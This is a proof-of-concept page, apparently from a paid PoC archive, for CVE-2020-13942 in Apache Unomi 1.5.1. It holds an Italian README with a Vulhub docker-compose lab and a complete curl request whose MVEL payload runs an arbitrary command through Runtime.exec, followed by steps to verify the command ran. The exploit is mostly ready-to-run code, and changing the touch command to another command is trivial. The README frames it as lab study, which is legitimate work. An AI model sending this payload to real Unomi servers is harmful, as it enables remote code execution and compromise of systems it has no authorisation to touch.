Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2020-13942 PoC — Remote Code Execution in Apache Unomi

Source
Associated Vulnerability
Title:Remote Code Execution in Apache Unomi (CVE-2020-13942)
Description:It is possible to inject malicious OGNL or MVEL scripts into the /context.json public endpoint. This was partially fixed in 1.5.1 but a new attack vector was found. In Apache Unomi version 1.5.2 scripts are now completely filtered from the input. It is highly recommended to upgrade to the latest available version of the 1.5.x release to fix this problem.
Readme
# CVE-2020-13942byVulHub
---
# Apache Unomi Expression Language Injection RCE (CVE-2020-13942)

## Descrizione
Questa vulnerabilità consente l'esecuzione di comandi arbitrari su sistemi che eseguono Apache Unomi versione 1.5.1, sfruttando l'iniezione del linguaggio di espressione MVEL.

### Pagina del progetto
[GitHub - Vulhub - Unomi CVE-2020-13942](https://github.com/vulhub/vulhub/tree/master/unomi/CVE-2020-13942)

---

## Configurazione dell'ambiente

### Docker Compose file (`docker-compose.yml`)
```yaml
version: '2'
services:
  web:
    image: vulhub/unomi:1.5.1
    ports:
      - "9443:9443"
      - "8181:8181"
    environment:
      - UNOMI_ELASTICSEARCH_ADDRESSES=elasticsearch:9200
    depends_on:
      - elasticsearch
  elasticsearch:
    image: elasticsearch:7.9.3
    environment:
      - cluster.name=contextElasticSearch
      - discovery.type=single-node
      - "ES_JAVA_OPTS=-Xms512m -Xmx512m"
      - bootstrap.memory_lock=true
```

### Avvio dei container
Esegui i container con il seguente comando:
```bash
docker compose up -d
```

---

## Esecuzione dell'exploit

### Comando da eseguire da Kali
Lanciare la seguente richiesta `POST` utilizzando `curl`:
```bash
curl -X POST http://localhost:8181/context.json \
     -H "Accept-Encoding: gzip, deflate" \
     -H "Accept: */*" \
     -H "Accept-Language: en" \
     -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36" \
     -H "Connection: close" \
     -H "Content-Type: application/json" \
     -d '{
    "filters": [
        {
            "id": "sample",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/pluto\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "sample"
}'
```

---

## Verifica dell'exploit

### Accesso al container
Accedi al container per verificare la creazione del file:
```bash
docker exec -it af7de05fc47e ls /tmp
```

### Controllo del risultato
Verifica la presenza della cartella `pluto`:
```
hsperfdata_root  pluto
```

Se il file `pluto` è presente, significa che l'exploit è riuscito.

---

## Note di sicurezza
Questa vulnerabilità consente l'esecuzione di comandi arbitrari. Utilizza questi test solo in ambienti controllati e a scopo di studio o verifica. Sfruttare vulnerabilità in ambienti non autorizzati è illegale.
```

---
File Snapshot

[4.0K] /data/pocs/4577353326bafa631731bb7943d17e947be5dae2 └── [2.6K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →